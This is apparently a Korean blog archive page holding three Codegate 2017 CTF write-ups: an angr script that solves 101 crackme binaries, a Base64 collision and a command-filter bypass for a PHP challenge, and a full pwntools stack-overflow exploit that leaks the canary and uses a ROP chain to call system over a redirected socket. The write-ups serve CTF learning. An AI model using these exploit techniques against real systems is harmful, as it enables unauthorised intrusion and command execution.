'2017/02/11'에 해당되는 글 3건

반응형

쉽다. angr로 코딩해서 돌려주면 되는데 양이 많다.


어쨋든 아래의 소스코드를 참조하면 된다.


#!/usr/bin/env python

import angr

for i in range(1, 102):
	p = angr.Project("./prob" + str(i))

	offset = 0
	with open("./prob" + str(i), "rb") as f:
		buf = f.read()
		offset = buf.index("\x83\xF8\x01\x75\x0C") + 5
	print hex(offset)

	arg1 = angr.claripy.BVS("arg1", 8*8*90) # 90 bytes
	st = p.factory.entry_state(args=["./prob" + str(i), arg1])
	pt = p.factory.path(st)
	ex = p.surveyors.Explorer(start=pt, find=0x400000 + offset)
	ex.run()
	print ex.found[0].state.se.any_str(arg1)


'Write up > CTF' 카테고리의 다른 글

[Codegate 2019] writeup  (0) 2019.01.29
[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
[RC3 2016] IMS-easy (150pt) *수정  (0) 2016.11.20
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

IDA로 까보면 아래와 같이 3개의 stage로 나뉘어 져있다.




먼저 Stage1을 까보면 아래와 같이 되있다.




Base64의 Collision을 일으키면 통과된다.


간단하니 구글 검색만 해도 나온다





Stage2는 길이가 달라지면 통과가 된단다.


Base64는 =로 Padding을 하니까 =를 넣어주면 통과된다.,





마지막으로 Stage3인데 필터링을 우회하면 된다.


preg_comp함수로 cat 이나 flag나 말고도 다른걸 막아뒀는데 head나 tail을 안막아놨으니


head fla* 를 base64로 인코딩해서 넣어주면 클리어가 되겠다.

'Write up > CTF' 카테고리의 다른 글

[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
[RC3 2016] IMS-easy (150pt) *수정  (0) 2016.11.20
[CSAW_2014] Xorcise(Pwnable500)  (0) 2016.07.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

babypwn



전형적인 bof 문제다 ROP 사용하면 해서 system 실행시키고


소켓으로 fd redirect 시켜서 플래그 확인해면 됌


아래는 Exploit.py



from pwn import *

con = remote("192.168.0.14", 9191) # local
#con = remote("110.10.212.130", 8888) # codegate

def dummy():
	con.recvn(276)

def canary_leak():
	print "[*] Canary Leak"
	con.recvuntil("3. Exit\n")
	con.recvuntil("===============================\n")
	con.send("1\x00")
	con.recvuntil("Input Your Message : ")
	con.sendline("A"*40)
	con.recvn(40)
	canary = con.recvn(4)[::-1]
	print "canary : " + hex(int(canary.encode("hex"), 16))
	return int(canary.encode("hex"), 16)

def ROP():
	canary = canary_leak()
	print "[*] ROP Stage"

	worker = 0x08048A71
	pop3ret = 0x8048eec
	system_plt = 0x8048620
	recv_plt = 0x80486e0
	bss = 0x804b1b4

	gadget = "/bin/ls 0>&4 1>&4\x00"

	print "[*] Pre-Payload Send"
	con.recvuntil("3. Exit\n")
	con.recvuntil("===============================\n")
	con.sendline("1")
	con.recvuntil("Input Your Message : ")

	payload  = ""
	payload += "A" * 40
	payload += p32(canary)
	payload += "B" * 12
	
	payload += p32(recv_plt)
	payload += p32(pop3ret)
	payload += p32(0x04) # socket
	payload += p32(bss)
	payload += p32(len(gadget))
	payload += p32(0x00)
	payload += p32(system_plt)
	payload += p32(0x41414141)
	payload += p32(bss)

	con.sendline(payload)

	print "[*] Canary Null Inject"
	con.recvuntil("3. Exit\n")
	con.recvuntil("===============================\n")
	con.sendline("1")
	con.recvuntil("Input Your Message : ")

	payload  = ""
	payload += "A" * 40
	payload += "\x00"

	con.send(payload)

	print "[*] Triggering"
	con.recvuntil("3. Exit\n")
	print con.recvuntil("===============================\n")
	con.sendline("3") # triggering

	con.sendline(gadget)

	con.interactive()

ROP()


'Write up > CTF' 카테고리의 다른 글

[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[RC3 2016] IMS-easy (150pt) *수정  (0) 2016.11.20
[CSAW_2014] Xorcise(Pwnable500)  (0) 2016.07.30
블로그 이미지

KuroNeko_

KuroNeko

,